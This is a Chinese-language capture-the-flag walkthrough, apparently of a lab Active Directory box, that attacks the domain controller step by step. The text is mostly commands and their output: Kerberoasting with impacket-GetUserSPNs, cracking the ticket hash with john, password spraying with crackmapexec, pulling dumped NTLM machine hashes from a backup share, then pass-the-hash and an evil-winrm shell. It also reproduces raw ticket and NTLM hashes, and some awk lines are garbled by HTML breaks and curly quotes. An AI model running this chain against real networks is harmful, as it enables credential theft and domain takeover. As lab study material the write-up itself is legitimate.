b1526f507eacb789b10d450ad8372a2d0d84ff8cf95ef3e07d1500f01f2657f351ba115b2277e89db979c590923df5484e75d2bf028d9c08b1d51b322605fc169e08f36d3da1cf1ebad4fb8c00540ca032ef83bfc040a78b15325a48738ad0047b1ea91f538d078c5709bfd4128df2825060afa8ad1ba45a2d2af143889cae26a7ac31fbbc73507cd663728eb402fa0fe1a4253e2cc5606bc6f1d6310a35c99ecb2b9ccb5fb1d454c4c13ed0224ba6f5d75cc09a179a63837ebd92932422cc804b254e95181d569f044ef22335830e782a194831b4818f00789ff3de1d2440bd624e6d9cd09bb356a788a97de91561d2ce0d20f8369494a52cadfe2017f0e24314eed718341c3616219115ccd637bbc6db96052cb2d518c8c720e9b70f490ceee23d6c45568466e9ab7a1548e1550466786c51c6bc5e365f8324203f8af07a0d7648e69c936a248dbf74f6decffd91e73653fc0042650054e74bffb200b4532d32dc66ce3c6f62a0cd9127cc2a1b86772f3cd3cee8b9681ead9127c6329b675d75fec80398ab64e5b329d19156ff13f83bf4519ca7924dd8fd0d94b21c771723e8254d2cb135568c59549291111cb458ed036a8c999533ab87303745411e0fe5e957688ad489878ccf08d3bf8226cac536c07fbee73b479f155cc37107fc59160dbd5f52caac082a8f2d3f2908bf1bbdbbe6bec3c8b25d1c76a402c6e989750e89ff32aafcb4f341929831101266aa55b225e285f3625a519443a60da00a54f17d817f38c1e34276543db03ea3efa58e8d6f293887955e13a4cc51a0bfb9f5f7ae06377427fe5bf61fe70679ee849b88f7999b211fd32863ccd276222fabe66c30745c3fd4ace960c890974cf98c562c14fb5f2d9e49eaabe3c84c40f19610ed651e27918bcd53e43b9f62b124247e39aa96d8035d0f58f5a48f2e85c3c71bd9eda88e70fa2ffdce2507369928def0b6f4db739c9d7673d0c3ff
$krb5tgs$23$*monitoring_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/monitoring_svc*$829f0d1678f8e67049da813ed36ef73f$ca50d9fa720b1cf6357064e6cb3fb356be980dcf8a44c69869686bbf81de12d9d3ac5bffd3ba66992722f4b192a23cd1a6ccf464764a6d4c937a3851066d6384accdc7ce69799b5e783e057bbed6b71eac1af1eee45c41a8cffe7a172c8d23b26665f899783304c910a2303f76cefd4927fda756118af16e90b3d8352cc0df50c02abad581533d19cb72fdce237cdff8af45b3b3b4480a1f265567c09850978779eb088f415c454209558ce8c5423afba421b9fe6dbe79ffa135f09023e925c7b1a5f20738bb926e9de4d9b9fe2cda7e75f79376c82df3241cc552129dc72d9239f838b140460d812e4a7a773c9f6b1843846c3210497cd2477b4bbbdd623aaf0fdfefb3b174e3b38aa89800ad689b8b262b14b4c3c324a806cd8848070812e3475e16eb74634d53b429b94b8a2a78f0d6df94531ee1c5be659c580db37f01c7449ac19a4807bbf9eed5d912451a0f3daaa1439c832dff702c8f6a5176f8b7071e4f3ba5d49ea3f1eb774c8e46bcbf3e760d24830d9aa0d435d8e3c94430977af97cf968900e180c8f64df2352a47592dc60b905f1404dd55818599c7b7217eecae3a7e99006872a41ef5bde9d1d5e27561ccf8898f3aed2184cb6ce415215334c3a71bec044eeb72b5218be00ed6992325f2572526d67a95dfdf3c26c9d7b42fb0d11cd4ffb2f0f7edfce0ecdb6108a6dc533fb1e6fb48a0691c5d4308f4cd61e1e3858f120ae0f0cadfd9fcccebf8e855cec9d21c9143c45c824489d55df4e6c4beebab811c253b148d172bf3d886369f5f870822682de8105ceb7ed681884df57e45190e6decf38696f304f8b6ad909b8c106b33fd6c6d24936cfa87ff536c5e1b6bca93d813c4142b1cfa33218b68171c6096c6aafdeb9630411526ff96adac8b0484d47588051d4a73e571aa51c91269f7feede165007d6b1f7cd9e09b4d27dbd1c7fd61145cc8bb230f747f6ef1b312585a0f372193e2823220def36e0860cea0de3e450e4fa137892fb21be597800861cb50e5f3cb8bf9da60c56ca046548b29b0f5e8bd4e2f6646a1ce7b428573eb9da811c3958c43a21f768039cae3b93eebea0205715393ead8789dc1ed1f7097a43faa9f0a4cf79b8e02dc388045e4431ea523f89f3bd860669b4911deb29fd93d97e82884573523c2b81217e9f32aafc38484abbc04b92e339a058ddf4f4ad02cb954985b19467c6d353ffa1a240d1e6deaaeb670f27df6ea1aeb3336681c28801bbe4eb0c9b3eb17748d15ab908c4365bacd0ae64a7462c5c02f2dc7eda13d484d1cf3cf6f4d71175092280646ab9287c45bf701f3ffb4b5f6ab89c8950ccfa22ff6a074b2b985f14e24fe796020695b1fe56e0d3efd36eb8f38a70f72ac31762508b7c47a9dd60dc43ede2bf9100beb70c43f0c6275fdbd8c9b35588d8d04e4a5ae8bf53fd293244ff4cd88778f451fde85f79a2f97593d863f95e874fc5af4f8f09d63a113f82ff5204903667
问题原因
为什么普通用户能枚举 SPNLDAP 默认允许读取域用户对象,SPN 是公开信息
为什么普通用户能请求 TGSKerberos 允许任何用户请求访问服务票据
为什么能拿到服务账号 hashTGS 返回的票据用服务账号密码加密,可以离线破解
为什么普通用户密码没泄露普通用户通常没有 SPN,无法生成 TGS hash
impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3 -request | grep '\$krb5tgs' > hash.txt
┌──(root㉿kali)-[/home/kali]
└─# john --wordlist=Desktop/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:11 62.62% (ETA: 13:37:24) 0g/s 818641p/s 4093Kc/s 4093KC/s coconut24..cococy
Password123!! (?)
1g 0:00:00:16 DONE (2025-08-20 13:37) 0.05903g/s 846738p/s 4020Kc/s 4020KC/s !!12Honey..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(root㉿kali)-[/home/kali]
└─# john --show hash.txt
?:Password123!!

密码喷洒

得到密码后进行密码喷洒,看密码属于哪些个用户

┌──(root㉿kali)-[/home/kali]
└─# crackmapexec smb 10.0.91.3 -u user.txt -p 'Password123!!' --continue-on-success | grep +
SMB 10.0.91.3 445 DC01 [+] SOUPEDECODE.LOCAL\file_svc:Password123!!

SMB信息收集

获得新用户后再通过SMB获得信息

经过测试,最后发现backup文件夹该用户有权限,并获得文件 backup_extract.txt

┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.0.91.3/backup -U SOUPEDEODE.LOCAL/file_svc%'Password123!!'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jun 17 13:41:17 2024
.. DR 0 Mon Jun 17 13:44:56 2024
backup_extract.txt A 892 Mon Jun 17 04:41:05 2024
12942591 blocks of size 4096. 10875720 blocks available
smb: \> get backup_extract.txt
getting file \backup_extract.txt of size 892 as backup_extract.txt (62.2 KiloBytes/sec) (average 62.2 KiloBytes/sec)
┌──(root㉿kali)-[/home/kali]
└─# cat backup_extract.txt
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
┌──(root㉿kali)-[/home/kali]
└─# awk -F ’[:]’ ‘{print 1}' backup_extract.txt > username.txt<br/><br/>┌──(root㉿kali)-[/home/kali]<br/>└─# awk -F '[:]' '{print 4}’ backup_extract.txt > passwd.txt

可以通过NTLMhash进行横向移动

nxc smb 10.0.91.3 -u username.txt -H hash.txt

┌──(root㉿kali)-[/home/kali]

└─# nxc smb 10.0.91.3 -u username.txt -H passwd.txt

SMB 10.0.91.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)

SMB 10.0.91.3 445 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)

利用smbclient和psexec失败

  • FileServer$ 是服务账号
  • 通常只对文件服务器相关资源有权限
  • 默认没有 管理员权限,无法在远程主机创建服务或执行进程
  • psexec 需要在目标机器上创建临时服务,因此需要管理员权限
  • 目标主机不是 FileServer$ 的管理范围
  • CME 输出显示 FileServer$ 能访问 SMB 共享,但不代表能执行远程命令
┌──(root㉿kali)-[/home/kali]
└─# crackmapexec smb 10.0.91.3 -u FileServer$ -H e41da7e79a4c76dbd9cf79d1cb325559 --shares
SMB 10.0.91.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 10.0.91.3 445 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
SMB 10.0.91.3 445 DC01 [+] Enumerated shares
SMB 10.0.91.3 445 DC01 Share Permissions Remark
SMB 10.0.91.3 445 DC01 ----- ----------- ------
SMB 10.0.91.3 445 DC01 ADMIN$ READ,WRITE Remote Admin
SMB 10.0.91.3 445 DC01 backup
SMB 10.0.91.3 445 DC01 C$ READ,WRITE Default share
SMB 10.0.91.3 445 DC01 IPC$ READ Remote IPC
SMB 10.0.91.3 445 DC01 NETLOGON READ,WRITE Logon server share
SMB 10.0.91.3 445 DC01 SYSVOL READ Logon server share
SMB 10.0.91.3 445 DC01 Users

Getshell

远程端口 WinRM 5985开放

  • WinRM 是 Windows 的 远程管理服务,本质上是一个 基于 HTTP/HTTPS 的远程 PowerShell 通道
  • 默认监听端口:
  • HTTP:5985
  • HTTPS:5986
  • 允许远程执行 PowerShell 命令
  • 支持多种身份验证方式:
  • Kerberos
  • NTLM
  • 明文密码
evil-winrm -i 10.0.91.3 -u 'FileServer$' -H 'e41da7e79a4c76dbd9cf79d1cb325559'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
a9564ebc3289b7a14551baf8ad5ec60a